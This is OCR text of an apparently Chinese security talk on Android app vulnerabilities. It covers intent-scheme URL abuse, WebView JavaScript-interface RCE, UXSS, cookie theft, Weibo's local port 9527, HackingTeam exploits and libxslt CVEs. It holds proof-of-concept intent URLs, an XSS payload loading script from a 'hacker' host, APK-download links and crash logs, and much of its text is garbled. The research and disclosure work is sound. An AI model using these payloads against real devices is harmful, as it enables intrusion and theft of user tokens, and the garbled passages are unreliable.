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Mobile Pwn20Own 2013
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Mobile Pwn2Own 2013

= One exploit took advantage of two Chrome on Nexus 4 vulnerabilities — an integer
overflow that affects Chrome and another Chrome vulnerability that resulted in a full
sandbox escape and the possibility of remote code execution on the affected device.

= Two exploits compromised apps that are installed on all Samsung Galaxy S4 devices.
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Intent Scheme Url

Chrome v18 5 58 B A, v] LB Aiframe i sre)@ 1% B H & X Hfscheme
SEILM Web DL TH] Ja 8 — DN AN . HoAhandroid Ve 28 452 . Chrome v25 %
H2 5, MuE 7k, BOmile 28l 5 2 X HschemeBl # intent:” K
SN

L0 5 NS 28 S Frintent scheme url, — % B AEE.

%ﬁj\z/l\ﬁg% b, intent:
HOST/URI-path // Optional host

1.5 F Intent.parseUri(uri); f# #rurl 4 B #lntent; _
intentX % . pacl.<age= [str ingl;
2 Wfintenthf FHEATILUE, A 305 883 e et
e I"ll“l”ﬁ;‘éao ca egory—_s r|[:1g ,.
ISR 72 5 i component=[string]:
3.J8 14 Context#startActivity[fNeeded() B4, scheme=[string];
Context#startActivity ()58 1% 8 20 B2 H 42 0d end;

1L J5 intent>R 5 Zljactivity




iy N

intent:mydata#Intent;action=com. me. om;S. ur|=file:///mnt/sdcard/Down

load/xss. html ; SEL component=com. ex. ur itest/com. ex. uritest. MainActiv
ity;end

selector intent @elector intent E’\J@

FANAT LR HR B & A TUE ,  Mintent ToyR T AT B 405N A BERE R
AN, P 2 EE IR 248 € TR
S.browser fallback url=[encoded full url]




BROWSABLE Category

TERRBEANHHT S T RN .

1. android.intent.category. BROWSABLE

XA & PERE B E AndroidManifest. xmISCAE A, a0 5 W B 244 32 FFIX
eategory, KX MNAMFEL N EERITH 2L, ASMNAHE S
FEAESES . BTEAY E ORI N H A A LG 55 B A7 A B S5 B AT,
— MR R B A XA E .

<activity
android:name=".MainActivity"
android:label="@string/app name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<action android:name="com.me.test"/>
<category android:name="android.intent.category.LAUNCHER" />
[<category android:name="android.1intent.category.BROWSABLE"/> |
</intent-filter>
</activity>




Selector Intent

2. Selector Intent

Android API level 15(Android 4.0.3) 5|33 | Selector intent#/Li], X selector
intent 7] AR 46 %€ 2] — P main intent |, U15E X main intentff] 5 selector intent, A4
Android Framework< fi#¢#Tselector intent.

intent://appscan#Intent;S.url=file:///mnt/sdcard/Download/xss.html;SEL;component=com.
ex.uritest/com.ex.uritest. MainActivity;end

SELZ HH Ncom.ex.uritest. MainActivity & & | — selector intent, 754 android
framework 2 i #T1X 1 selector intent, B[fficom.ex.uritest. MainActivity3%H
android.intent.category. BROWSABLE category .

___—



Chrome}| %28 581 5B

FIFH SELAF P 5t AT LASEIE chrome 1) — 222 4= R ]

Intent intent = Intent.parseUri(uri);
intent.addCategory(“android.intent.category. BROWSABLE”);
intent.setComponent(null);
context.startActivityIfNeeded(intent, -1);

1.5 1 BR #1] H 4 Category Nandroid.intent.category. BROWSABLE [ activity ZH 4
7 ReFE IR Wintent .
2.2 F R

HUAE B Bl chrome i A4S .48 X selector intent34 11 1 i<k J KR I

25501 25508  Hook-com.android.chrome ------- starting method startActivityIfNeeded---------

25501 25508  Hook-com.android.chrome |selector:#Intent;category=android.intent.category.BROWSABLE;end

2550i 25508 ' Hook-com.android.chrome Action:com.me.om

25501 25508  Hook-com.android.chrome Flags:FLAG_ACTIVITY_NEW_TASK

2550i 25568 Hook-com.android.chrome Data:data

25501 25508 | Hook-com.android.chrome

2550i 25568 ' Hook-com.android.chrome --------- end method startActivityIfNeeded----------

2362i 23982 audio_hw_primary select_devices: out_snd_device(2: speaker) in_snd_device(0: )

23911 24188  ActivityManager START u@ {act=com.me.om cat=[android.intent.category.BROWSABLE] dat=data flg=0x10000000 (has extras) Isel:{cat:[android.ibter
SABLE]}} from pid 25508

I 2550i25508  chromium [INFO:CONSOLE(®)] "Eﬁﬁ intent:data#Intent,‘action:com.me.om;S.url=file:///mnt/sdcard/Dl)wnload/xss.html;SEL;component=com.e)

ritest.MainActivity;end", source: _/uri (0)
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addJavaScriptinterface ]
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intent scheme url attack ( ]

UXSS
\[attack self ] (

[attack third party ] (

Cookie Theft ]

H
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Cookie Theft & UXSS

The page at 'file://' says:

SQlLite format 3@ -©

©OIe=©R

%sindexcookie_timescookiesC

REATE INDEX cookie_times ON

cookies (creation_utc) @# €

tablecookiescookiesCREATE

TABLE cookies (creation_utc

INTEGER NOT NULL UNIQUE

PRIMARY KEY,host_key TEXT

NOT NULL ,name TEXT NOT . _
NULL,value TEXT NOT FKE"file://"RIRER :
NULL,path TEXT NOT

NULL ,expires_utc INTEGER

NOT NUIE)L,secure INTEGER 127.0.0.1 localhost
NOT NULL, httponly INTEGER

NOT NULL, last_access_utc

INTEGER NOT NULL)- —
Aindexsalite autoindex cookie T
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http://blogs.360.cn/360mobile/2014/08/25/miui-rce-vul/

com.xiaomi.shop.activity. MainActivity &8 # Ui FH N #8041 = B X T o

private void resolvelntent(Intent paramIntent)
{
if (paramIntent '= null)
{
String strl = paramIntent.getStringExtra("com.xiaomi.shop.extra_clesed url");
if (TextUtils.isEmpty(strl))
break labeld5;
Intent locallntent3 = CampaignActivity.getStandardIntentToMe(this, strl):;
localIntent3.putExtra("com.xiaomi.shop.extra_is_clesed", true):
startActivityForResult(lecallntent3, 101);
}
while (true)
{

return;

intent:#Intent;component=com.xiaomi.shop/com.x1aomi.shop.activity. MainActivity;S.co
m.x1aomi.shop.extra closed url=http://server/acttack.html;end




XFWebview RCE

X T EWebViewmtz i H T REINEERE

TEM,  http://security.360.cn/Index/news/id/59.html

ig: B

a0 S AT DA FH HoAn 77 sCsL B [RIFE R Dh g, B & 38 58 H addJavascriptinterface() .
A LIS RS R 28 G4 RSN N2 j s B 77 XK AR Il A H o
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B R (FL550)

2. FIFZEZ M o A8 B AT T

B« 4

L4 ARG, WAL AE = webview B FEAIS AT IRIF RN, 25393
vads O] UGB SELGE g . DASSSYN A N, HEANSRAA AL, A IZFEAR
REPHAT T T 42 1 AL

protected void onCreate (Bundle argé) {
super.onCreate (argé) ;
Intent vl = this.getIntent():
this.mTitle = vl.getStringExtra("title"):;
this.mUrl = vli.getStringExtra("url"):;
vl.getStringExtra("activity id"):
this.setContentView(R$layout. layout activity webpush):
this.setTitle (this.mTitle);
this.mWebView = this.findViewById(R$id.webpush mainview);
this.mloadingViev = this.findViewById(R$id.webpush loading):;
this.mDownloadManager = DownlcadManager.getInstance ()
this.initWebView()

PreferenceUtil.setOnlyHome ( ((Context)this), 1):
this.miebViewv.addJavascriptInterface (this, "android"):;
this.mﬂebviev.adeavascriptIhterface(this, "webpage") >
if(this.mebVier !'= null ss !TextUtils.isEmpty(this.mUr1l)) {

this.miebView.loadUrl (this.mUx1) ;
}

intent:#Intent;S.url=http://server/attack.html;SEL;
component=com.sohu.inputmethod.sogou/com.sogou.androidtool. WebPushActivity;
end
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{8 FH Androguard ¥ 28 < #E PR £, parseUri()~ loadUrl(). addJavascriptInterface().

[loadUr‘l() |~ [par'seUri()] [adeavascr'iptInterface() }

—— ‘

loadUrl 7] §& = TN # — N4 %2 4= 1 intent scheme url, 73 7MX AN N A 34 7] GEAFLE
webview GRS AT IR, 456 SR n] LSEIN 163 5 R it
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Hook Intent 35

AR LLIE

iThook ki % intent) /71, K intent MR LS HHE 4 Ak HK T

Ji R 5T
Level PID TID Tag Text
I 9764 9764 Hook-com.ilegendsoft.mercury ------- starting method startActivityForResult---------
I 9764 9764 Hook-com.ilegendsoft.mercury selector:#Intent;component=com.ex.uritest/.MainActivity;end
I 9764 9764 Hook-com.ilegendsoft.mercury Action:com.me.om
I 9764 9764 Hook-com.ilegendsoft.mercury Data:data
I 9764 9764 Hook-com.ilegendsoft.mercury component:null
I 9764 9764 Hook-com.ilegendsoft.mercury Extra:
I 9764 9764 Hook-com.ilegendsoft.mercury Extra 1:
I 9764 9764 Hook-com.ilegendsoft.mercury|Key:url
I 9764 9764 Hook-com.ilegendsoft.mercuryl\/alue:file:///mnt/sdcard/Download/xss.html
I 9764 9764 Hook-com.ilegendsoft.mercury ------- end method startActivityForResult--------------
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BiF A Eatr, TS TEMEXEEE Z £ /intent filter5 R,

// convert intent scheme URL to intent object Intent

intent = Intent.parseUri(uri);

// forbid launching activities without BROWSABLE category
intent.addCategory(" android.intent.category. BROWSABLE");
intent.setComponent(null); // forbid explicit call
intent.setSelector(null); // forbid intent with selector intent
context.startActivityIfNeeded(intent, -1); // start the activity by the intent

5 7 4 2 B RS R ) 27 % i A
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<activity android:exported="true" android:name="com.tencent.assistant.link.LinkProxyActivity"™ android:screenOrientation="portrait"”
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
category android:name="android.intent.category.BROWSABLE" />|
<data pndroid:scheme="tmapt"| />
</intent-filter>

public void onClick(View arg4) {
b.a(this.a, Uri.parse(qtmast://download?downl_biz_id=qb&down1_url=r + URLEncocder.encode (DActivity
.c(this.a).getIext () .costring())))

PN T tmast PR 2 BEAPKIIRE, ANA i B . w] LU 302 2R E B APK,
H AR, Frlla] DU RE Bl 2

tmast://download?downl_biz id=gb&down_ticket=11&downl url=https%3A%2{%2fwww.mw
rinfosecurity.com%?2fsystem%?2fassets%21934%?2foriginal%2fdrozer-agent-2.3.4.apk";




BN AFAE — MEFHIXSS, BT ARZEAE A — P sohuliE 4, XA IS IHAATE,

T B LU Az SO # R 2 RIS 6

<a

href="tmast://webview?url=http://m.tv.sohu.com/hots/128?vid=2xs5%22} ;document.getEleme

ntsByTagName('head')[0].appendChild(document.createElement('script')).src='"//hacker/1.js7xx'
;test={x:%22:">TEST2<br>

static {
a.a = new b[]{new b(1l, "gift.app.gq.com", 9223372036854775807L), new b(l, "maweb.3g.qq ", @Eﬁﬁﬁ gﬂﬁgg x| Um: T\ x x\
9223372036854775807L), new b(1, 9223372036854775807L), new b(1, qq.c —1-._—
9223372036854775807L), new b(1, , 9223372036854775807L), new b(1, icsh.gg.com", ) b AR 0y
9223372036854775807L), new b(1, " q.com", 9223372036854775807L), new b(1, ! c mi VSM ts/128Nid= /xax ‘Pm,’ §9/),1est=

"dev-gzs.yybv.qgq.com", 9223372036854775807L), new b(l, "pre-gzs.yyl g.com", 9223372036854775807L), “*-,____q_

new b(l, "test-gzs.yybv.qg.com", 9223372036854775807L), new b(1, ‘, 9223372036854775807L), H'““-»-,. = X
new b(l, "test.gzs.qgq.com", 92233/203685477580/1,), new b(l, "appicsh com", 9223372036854775807L), ‘;Hm . mavsohu.com IE’JM@J

new b(l, "gtheme.cs0309.html5.qq.com", 9223372036854775807L), new b(l, "yyb.html5.qq.com",
9223372036854775807L) } ; ‘H‘“n_

\"'\-\.
Bt BX R BR HE Game BR MBI % T frss

.value0f(0));
.valueOf(1)):
valueOf(2)):
.valueCi(3));
.valueOf(4)):
~.valueO£f(5));
.valueQi(6));
valueQCi(7)):
r.valueO£(8));
.valueO‘(Q) ):
valueOf (10));
valueQf(11));
valueOf (12)):
.valueOf(13));
valueOf(14));
.valueO‘(lS))
iByAnotherWebBrowser", I ~.valueOf (16));
put ("getVersion", ger.valueQf (17));
put ("checkSelfUpdate”, .valueOf (18));
put ("getUserLoginToken", .valueO£(19));
inActivity .valueO£f(20));
put ("getStatTime", valueOf (21));

put ("cqueryDov
put ("getAppInf
put ("startOpenAp;
put( "JetNetIut o",

LT T O O O O T
®®moOmOOo00000000000000H0




FANNF E BVEM 7 jsbhil, R D Re B AR R DL S
http://qzs.qq.com/open/mobile/yyb gift center/open yyb gift test.html

360==REEER 7.1
@ [ «<|Cc | O lm iiEJvl] http://qzs.qq.com/open/mobile/yyb_gift_center/open_yyb_gift_test.html l
fotmm - ESE Dy Google '
1> © | & azs.qa.com/open/mobilefy; = | +
1BE®Demo

B 41 8 2% 345532 1 Demo

tih 7 A
.com.te

AppID: 10099632 |
FEEBID: | ]
ZIERZ. | ]
RASS. | ]
IRERRAS . | ]
actionflag: | ]
RES. | ]

oplist: [1:2 ]

7. (stateCallback) [~>%%[0]1i8 0052
EEREESS




BEVRY, AT LUE $ljs b4 AOHE B2 8 1T jsbe /PR S HLR o

}

function batchSendRequest() { // BHNHEEZEERE, KIERZdemo
if (batchRequestPool. length > 0) |

var jsbUrl = '|jsb://callBatch/-1/" + NATIVE CALLBACK + 9
count=1&timeout=1000&paran=" + encodelRIComponent (JSON. stringify (batchRequestPool));

/] REEX

//alert (JSON. stringify (batchRequestPool)):

//console. log (JSON. stringify (hatchRequestPool))

//console. log(jshUrl):
window. location, href = jshlrl;

——




Zfl2: =EKNOXIEIER IR

<activity android:configChanges="keyboard|keyboardHidden|orientation" an
<intent-filter>
<data androidﬂscheme="smdm"|/>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.categorv.REFAULT" />
<category android: name—fandr01d intent.category 7ﬂxﬁith”“w§ r

1

s/intent-f1ilter> weibo.corm/yulpecler
</activity>

= A MDMR B B K2 8 i A smdm B R A

smdm://meow?update url=http://youserver

MDMZ% F i B St 2 BUX Nurl B fupdate url, £ H G780/ 1atest, PR J5 Rt
HEADIE K, ARk5imerik[AlETag. Content-Lengthfl1x-amz-meta-apk-version&




public void onSuccess(h arg9) {
int v0 = 9;
if(arg9 !'= null) {
arg9.hK();
if(arg9.hJ() '= null) {
String v2 = arg9.uU.getString("ETag");
String v3 = arg9.ul.getString("Content-Length");
String v4 = arg9.uU.getString("x-amz-meta-apk-version");
COm,.Sec.enterprise.knox.cloudmdm.smams.b.b.d(a.rj, "latestVersion: " + v4);
com.sec.enterprise.knox.cloudmdm.smdms.b.b.d(a.rj, "New eTagValue: " + v2);
com.sec.enterprise.knox.cloudmdm.smdms.b.b.d(a.rj, "TotalSize: " + a.a(this.ro));
if(v4 '= null && !'v4.isEmpty()) {
v2 = e.r(a.ga(), a.ga().getPackageName());

com.sec.enterprise.knox.cloudmdm.smdms.b.b.d(a.rj, "currentVersion: " + v2);
if(e.z(v4, v2)) {
vo = 1;
}1
else i
} { Gl) 3()()|LJ’ I'j ;1

weibo.corn/vulpecler

nntn 1ahal 51

MDM% i o fa Arheader ' (IX =MHE, x-amz-meta-apk-versionfH 235 24 Hif
MDM IR A AT LB . 41 SR x-amz-meta-apk-version it A 5 KT 24 5 I APK ik
A, vOSiw BN, RVFEEER . HrfH P RS iE s aH B H, R
P THE, e RIE etk K apk SR AR, AR1TT S L R A1
EICIECEDP




private boolean _inst:allkpblication(sr.ring argll) {
boolean v2_2;
boolean v0_4;
Exception v2;

int v3;
b.d(a.TAG, "_installApplication: apk path: " + argll):
String v0 = a.V(argll):;
if(v0 != null =ss (vO0.tocLowerCase().endsWith(".apk"))) {
File v5 = new File(v0):
int v0_1 = d.INSTALL REPLACE EXISTING | d.INSTALL INTERNAL;
com. sec.enterprise.knox.clocudmdm.smdms.a.f vé = new com.sec.enterprise.knox.cloudmdm.smdms.a.£();
try {

v5.setExecutable (true, false):;

v5.setReadable (true, false):;

if (Sectings$Glcocbal.getInt (a.mContext.getContentResclver (), com.sec.enterprise.knox.cloudmdm.smdms.a.b

. PACKAGE VERIFIER ENABLE, 1) == 1) {
ettings$Global.putInt (a.mContext.getContentResclver(), com.sec.enterprise.kncex.clocudmdm.smdms.a.

r . PACKAGE VERIFIER ENABLE, 0):; b|
v3 = 1;

}

else {
goto label_ 128;

}

goto label 427

PEGEHAT AR, MDMZ%5 F im < H _install Application(), 1% b8 £ ) ) T g 2 25 1 E AL e
ilE (B7 1EGoogled i APK). %% 58 2 Ja i B HTT I8 e ik .

TR P im AL BT, RO T R, AR R el gt BB R
Jeas i R IALIR o

ER PGSR PN, e DOl Oy HyE M — AN =T 0, SR Ja i o T e e
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BT RVS.3.0 BRI M T sinaweibo://28 = 5 Wb, SR Z b DAY, &
O] I R 48 R 5

POC:
<script>location.href="XXX";</script>

XXX=
sinaweibo://browser/close B

sinaweibo://compose?pack=com.yixia.videoeditor B,
sinaweibo://addgroupmember?containerid=102603

sinaweibo://browser/?url=http://www.vul.com/uxss.html

FAbA] LAA] Fxss(uxss)~  esrfSE X0 7 A FH & SRS 78 i — SRR .
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0.0.0.0

[local socket (B iopen port bind to}

Android % FH 7] fE2fi Fsockets(TCP. UDP. UNIX)fE N [R5 E B & B
AT IEAG . AR MRS 77 A & FR %A AT B A E

2T 1 98 %€ £10.0.0.0, 84 AR AR TPHAR AJ LA 7] 6
2T 90 E £1127.0.0.1,  ABA [F] — e g LB RN AR IR T BAS ]

_—



BRRG: FrRAIEY5.2.0 ID: PFABRRE

FHRIE M native /2 (libweibohttp.so) 2 H), | — http server, 48 € 1127.0.0.1, WHr
95273 [ o

{
u9 = pocket(*(unsigned  int16 =)&u13, 1, 0);
UG = lohap
if (v9>=0)
{
fentl{ve, 2, 1);
optual = 1;
if ( setsockopt{vé, 1, 2, &optual, 4u) >= 8 )
{

if (|bind(uvé, (const struct sockaddr =)&13, 16 * ((unsigned int)*{unsigned  int16 *)&13 - 2 <= 8)) >= 0 )
{

if ( listen{ué, 1024) >= 8 )
goto LABEL_24;

syslog(2, "listen - %n");
uy = "listen";

H

else

{
u5 = inet_ntoa{(struct in_addr)dest);
_android_log_print{6, “weibo_utility", “bind %.88s - %m", v5);
vl = "pind";

H

s




httpig >R T A P12 #5457 T com.sina. weibo.utils.weibohttpd.a/b/c = H

FEAG =R
1.http://127.0.0.1:9527/login?callback=xxx
2.http://127.0.0.1:9527/query?appid=com.sina.weibo
3.http://127.0.0.1:9527/s1?cmp=com.sina.weibo _

ViR 55— FhiE KIS, AR 7 Ak T S RPIRES 2R [ - i B35 2

public boolean isServer(String path, String referer) { private String a(String path) {
boolean v0 = false; a v2 = com.sina.weibc.utils.weibchttpd.a.a(path):
if (!TextUtils.isEmpty(((CharSequence)path)) && (com.sina.weibo.utils.weibohttpd.a.a(referer, Object v0 = v2.b.get('[callback]'):
this.a)) && ((path.startsWith("/login?")) || ("/login".equals(path)))) { JSONObject vl = new JSONObject ()|
v0 = true: if(v2.b.size() == 0) {
) ! vl.put("result”, "-20000");
}
else {
return v0; StaticInfo.a(i.c()):
} if((StaticInfo.a()) && StaticInfo.e().gsid '= null) {
this.a(vl):
goto label_ 11;
public String server(String path) { 1
String v1;
if (TextUtils.isEmpty(((CharSequence)path))) { User v3 = s.X(this.a):
N B I if(v3 !'= null ss& !'TexcUcils.isEmpty(v3.uid)) {
k vl.put("result”, "200");
return v1; vl.put("login state"”, 0);
} vl.put("uid", new c().a(v3.uid)):
vl.put("from", ae.N):
tr] ( goto [EoEl 117
vl = this.a(path); !
} vl.put("result”, "-50000");
catch(Exception v0) { }
vl = "{\"result\":0}";
} label_11:
String v4 = TextUtils.isEmpty(((CharSeqguence)v0)) 2 vl.toString() : this.a(((String)w0), vi.

toString()):

return vl; return v4;




P [ http://127.0.0.1:9527/login?callback=xxx, & [A] 5 [t FH P 11 5315 5.
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'=l PwnWeibo

Activity :
com.sina.weibo.InterestProductList

com.sina.weibo.InterestProductList

Pwn

xxx({[uid]:"ngXgMmv5G0QQUIVC+ivivVHGBggYPQV/
r\/
yNozLkbwLDfSDo3KD4rVe8VylLwgbJmxf173ItUzho
aFJX1k7s5qFfJlvinuzAzbDvghV8gHDgx5QzqgRmuuq
+c7ko6t\/3Se8XBoWQoBewLM67LotDsFTiASiyqQB
w\/
sJvnukeO1qYk8w=""unread_num":0,'result":"200","sc
Feen_name] “15.2_2015"portrait_url]"http:\/\/
tp2.sinaimg.cn\/2649213881\/50\/40064257223\/
1"[from]:"1052095010", Togin_state™:1))
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Vi [ http://127.0.0.1:9527/query?appid=com.tencent. mtt ,

H K255 R [P no install”.

fi:\
5]
®)
2
>

'=_l PwnWeibo

Activity :
com.sina.weibo.InterestProductList

com.sina.weibo.InterestProductList 4

Pwn

{"sign":"d8391a394d4a179e6fe7bdb8a301258b","ver
sionCode":"601560","result":"200","versionName":"6.0
.1.1560""desc":"OK"}



http://127.0.0.1:9527/si?cmp=com.sina.weibo_componentnamerAJ]

AT [e) 518 R R S5 8 Y 2B

Intent v4 = new Intent():
v4.setFlags (268435456) 7
Iterator v3 = v1lO.b.keySet () .iterator():
label_13: public boolean isServer(String path, String referer) {
if(v3.hasNext()) { boolean v0 = false;
Object v6 = w3.next ()’ if(!TextUtils.isEmprty(((CharSeguence)pacth))) {
Af (] egquals(ve)) { if (!path.startsWith("/query?"”) && !"/query”.equals(path)) {
etAction(vl0.b.get(veé))~ if (!path.startsWith("/si?") s&& !"/si".eguals(path)) {
} return vO0;
if("cmp].equalis(ve)) { }
String[] v9 = vlO.b.get(vé).split(”_ "): |
IE(v9 — nuin) 1 return true;
goto label_339: }
}
v0 = true:
if(v9.length '= 2) { }
goto label_ 337

}

return vO:
v4.setComponent (new Componentliame (v8[0], vo[11)): }

public String server(String path) {

String vO = null;
equals (ve)) { if(!TextUtils.isEmpty(((CharSeguence)pacth))) {
Data(Uri.parse(vl0.b.get(v6))): if (path.startsWith("/query")) {
}

v0 = this.b(path):

}
if(ivcallback”.equals(ve)) { else if (path.startsWith("/si")) {
goto label 13;

1 wv0 = this.a(path)

}
Object vl_1 = wvlO.b.get(vé): }
goto label 13>
3} return vO0:
}
if((TextUtils.isEmpty(v4.gethAction())) ss v4.getComponent() == null =z v4.getData() == null) {

if(TextUtils.isEmpty (((CharSeguence)vl))) {
return "{\"result\":-20000}";

}

return this.a(vl, "{\"result\":-20000}");

}

List v0 = this.a.getPackageManager() .gqueryIntentActivities(v4, 0):
if(vO.size() == 0) {
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Is run
!

acct |d fun

cache
charger
config

d Uid=10105(u0.a105) gid=10105(u0_a105)

data

default prop groups=1015(sdcard_rw),1028(sdcard_r) 3003(inet)
L 0105(all_a10) context=u:r.untrusted_app:s0

etc

file_contexts
firmware
fstab.hammerhead
init

init.environ.rc
inithammerhead.rc
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JERHRAR T 5, ELRETEHN
/proc/net/tcp
/proc/net/tcp6b
/proc/net/udp
/proc/net/udp6
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iframe.src =
"http://127.0.0.1:9527/s1?cmp=com.sohu.inputmethod.sogou sogou.mobile.explorer.hotwords.
HotwordsWebViewActivity&data=http://X.X.X.X:80/go.html";
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Amnministrazione/
Client Wiki/
Confluence/

FAE DiskStation/
FileServer/
Knowl edgeBase/

rcs—devishare/

support. hackingteam. com/

Exploit Deliverv Network android. tar. gz
Exploit Deliverv Network windows. tar. gz

robot s, txt
support.hackingteam. com. tar. gz
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HackingTeam android browser exploit

i}ﬁ‘j \JIZJ . ;:ﬂuer;;g .Rj::)t:jxploit Compatibility Matrix
CVE-2011-1202 —
CVE-2012-2825 et |

11! = The remote infection works only if the explo

Device Version Local Root Notes
C v E -2 O 1 2 -2 8 7 1 Alcatel 4030D One Touch 4.1.1 YES YES
CAT Compal B15 4.1.2 YES YES
HTC One 443 NO YES Versions up to 4.4.3 are vulnerable but due to firmware

customizations the browser might not be exploitable.

/.%2 l]l'j . HTC Vision 233 NO
. N “ N J I l k‘ % HTC Nexus One 2.3.6 NO
andr01d4 ° 3 U\ l /% éﬁ ﬂl IJ[_I—l Huawei Ascend G6-U10 4.3 YES YES
WebVi eW Huawei Ascend Y530 4.3 YES YES
y —= ::D 4—% ﬁﬂ‘] j:ﬂ S Huawei G730 4.3 YES NO Tested by customer.
A
JZ_U, e 3 ,f:r Huawei P6-U06 422 YES YES

Huawei P7-L10 4.4.2 NO NO
LANIX ILIUM S220 4.2.2 NO ? Tested by customer.
LG D405 L90 4.4.2 NO YES

ERRZE=AIEE (android 4.4 ~ 5.1)
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x5.tencent.com
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O rwXxXrwx--X
QArwxXrwx--X
O rwXrwx--X
QrwXrwx--X

arwxXrwx--X
QArwxXrwx--X
QrwxXrwx--X

2015-07-21
2015-07-21
2015-07-21
2015-07-21
2015-08-05
2015-08-05
2015-08-05

app app cache
app database
app dex

app x5core
cache
databases
files




J@iE1: CVE-2011-1202({5 &)

generate-id() 5| #2115 B it 75

xmlns:xs1="http://www.w3.0rg/1999/XSL/Transform” version="1.0" >
match="/*">

select="geherate-id()" />

val = (unsigned Long)((char *)cur - (char *)0); mﬁtﬂ]’ﬂt;ﬂﬁ
val /= sizeof(xmlNode);

sprintf((char *)str, "id%1d", val);

valuePush(ctxt, xlePathHewStPinggsﬂrz);

val = (long)((char *)cur - (char *)doc);
(val >= 9) {
sprintf((char *)str, "idp%ld", val);
) {
sprintf((char *)str, "idm%1ld", -val);
}

valuePush(ctxt, xlePathJeu%trlrg(str)),




F8il2 : CVE-2012-2825({F = it 11t 1)

<l--x --> ‘ ‘)%%tmtjt

<!ENTITY cdent "<html>X}60p:z XXXXXXX<xs] :message

xmlns:xsl="httyf //www.w3.0org/1999/XSL/Transform’terminate="yes " /</html>">

<l--y -->

Is_xéLT_ELEM(n) \
(((n) 1= NULL) & ((n)->ns = NULL) && '

patch

(xmlStrEqual((n)->ns->href, XSLT_NAMESPACE)))

IS XSLT_ELEM(n) \
(((n) '= NULL) & ((n)->type == XML_ELEMENT_NODE) && \

((n)->ns != NULL) && (xmlStrEqual((n)->ns->href, XSLT_NAMESPACE))j

struct _xmlEntity { struct _xmlNode {

void * private; void * private;
XmlEleT;;E;Zﬁe *EZEZ; xmlElementType type;
struct _xmlNode *children; xm1Char *name;
struct _xmlNode *last; struct _xmlNode *children;
struct _xmlDtd *parent; struct _xmlNode *last;
ez on sl SEE struct _xmlNode *parent;
struct _xmlNode *prev; . -
struct _xmlDoc *doc; NN struct _xmlNode *next;
K== /BB struct _xmlNode *prev;
xmlChar ~ Yorig; struct _xmlDoc *doc;
xmlilChar *content;
int length; | ::>>
xmlEntityType etype;
xmlChar *ExternallD; = = xmlNs *ns;
xmlChar *SystemID; 'f'}_' = W ﬁlﬁ’: xmlChar *content;

struct _xmlAttr *properties;
xmlNs *nsDef;
void *psvi;
unsigned short line;
unsigned short extra;

struct _xmlEntity *nexte;

xmlChar *URI;
int owner;
int checked;




Jmim3: CVE-2012-2871({EE L E)

. =" XE AM
<xsl:for-each select=""namespace::*"> (gdb) p *node

xmlNodePtr $18 = {
rivate = 0x5d23de18,
xmlXPathNodeSetDupNs(xmlNodePtr node, xmlNsPtr ns) { Egpe = XML NAMESPACE DECL,
xmINsPtr cur; name = 0x5d225188 "basebandName",
children = 0x5d24afbo,
cur = (xmlNsPtr) xmlMalloc( (xmlNs)); last = Ox0,
— parent = 0x0,
memset(cur, 0, sizeof(xmlNs)); 2?:5 : gigég
cur->type = XML_NAMESPACE_DECL; doc = 0x28,'
(ns->href 1= NUIT)Y ns = 0xd3,
cur->hr3793 (cur->next !'= NULL) content = ©x3 <Address ©x8 out of bounds>
(ns-3794 cur->next->prev = cur->prev; properties ;- 0x0,
cur->pr37 (cur->prev != NULL) nshef = 6x0,
cur->ne3796 cur->prev->next = cur->next; p *node->children
(3797 r-> = CUr->prev = - {
) 3728 s e ivate = ©x58585858,
= } 2 = 1499027801,
3799 2 = @x7a673230 ",
/home/jc/aosp/android-4.1.2 rl/external/Thg dren = 0x7a6731360,

ast = Ox4cdcdcic,
parent = 0x7a673044,
next = 0x7a673044,
prev = 0x7a673070,
é(it;bi ;{J *(xmlNsPtr)node doc = UX7a673934
next = 0x5d23d018, ns = Ox4ededede,
type = XML_NAMESPCE DECL, content = ©x7a673230 "",
E::;ix ngigﬁﬂgibebﬁmxsigggéelgzLLLLDegzDngpng4092NNNN0292PPPPDDDDppppllee", properties = 6x56565650,
“private = 0x0, nsDef = 0x44444444,
context = 6x8 psvi X70707070,
line 7756,
extra = 25957

=0
= 2




Proof of concept ( > android 4.4 )
BN AR

3 O 4@ 11:58 184 DEBUG
184 DEBUG Build fingerprint: 'google/hammerheadMY48B/1863243:user/release-keys'
184 DEBUG Revision: '11'
184 DEBUG ABI: 'arm'
184 DEBUG pid: 29616, tid: 29699, name: WebViewCoreThre >>> sogou.mobile.explorer.hotwords <<<
184 DEBUG signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr ©x2a2a2a2a
184 DEBUG ro 9f79e853 ri 9f79e853 r2 000OEOO8 r3 2a2a2a2a
184 DEBUG r4 9b3a70c® r5 9b15b970 r6 00EOEEEEO r7 a23f4120
184 DEBUG rg8 0000EE0 r9 a20eaddd sl fp
184 DEBUG ip 80000000 sp 9ed94708 1r 9f717871 pc 9f4ba360 cpsr aoOfEE30
184 DEBUG backtrace:
FE10.18.25.18MR < 184 DEBUG #00 pc 00621360 /data/app/com.tencent.mtt-1/1ib/arm/libmttwebcore.so
id42397906 184 DEBUG #01 pc 0087e86d /data/app/com.tencent.mtt-1/lib/arm/libmttwebcore.so
W5 TR
180 DEBUG Build fingerprint: 'google/hammerheadKOT49H/937116:user/release-keys'
180 DEBUG Revision: '11'
180 DEBUG pid: 7682, tid: 7928, name: WebViewCoreThre >>> sogou.mobile.explorer.hotwords <<<
180 DEBUG signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr ©000000d
180 DEBUG ro 7c503300 ri1 76de512d r2 00000000 r3 0OOEEOOL
180 DEBUG r4 7c503300 r5 7adaa858 r6 7c503300 r7 7c503388
180 DEBUG r8 7acblbd® r9 00000000 sl 76fbe670 fp 7acbOc4e
180 DEBUG ip 00000000 sp 7732e238 1lr 76d421dl pc 76acl8fe cpsr 800f0030
180 DEBUG de di
180 DEBUG d2 d3
180 DEBUG d4 663a6c73782f3c3e d5 3e686361652d726f
180 DEBUG d6é 65743a6c73782f3c d7 3c3e6574616c706d
180 DEBUG d8 d9
180 DEBUG d1e di1
180 DEBUG d12 d13
180 DEBUG di4 d15
180 DEBUG d16 40882 d17
180 DEBUG di8 d19 3ff
180 DEBUG d20 412e848200000000 d21 412e848000000000
180 DEBUG d22 3ffoe00000000000 d23 412e848000000000
180 DEBUG d24 402 d25
180 DEBUG d26 4000000000000000 d27 547d42aea2879f2e
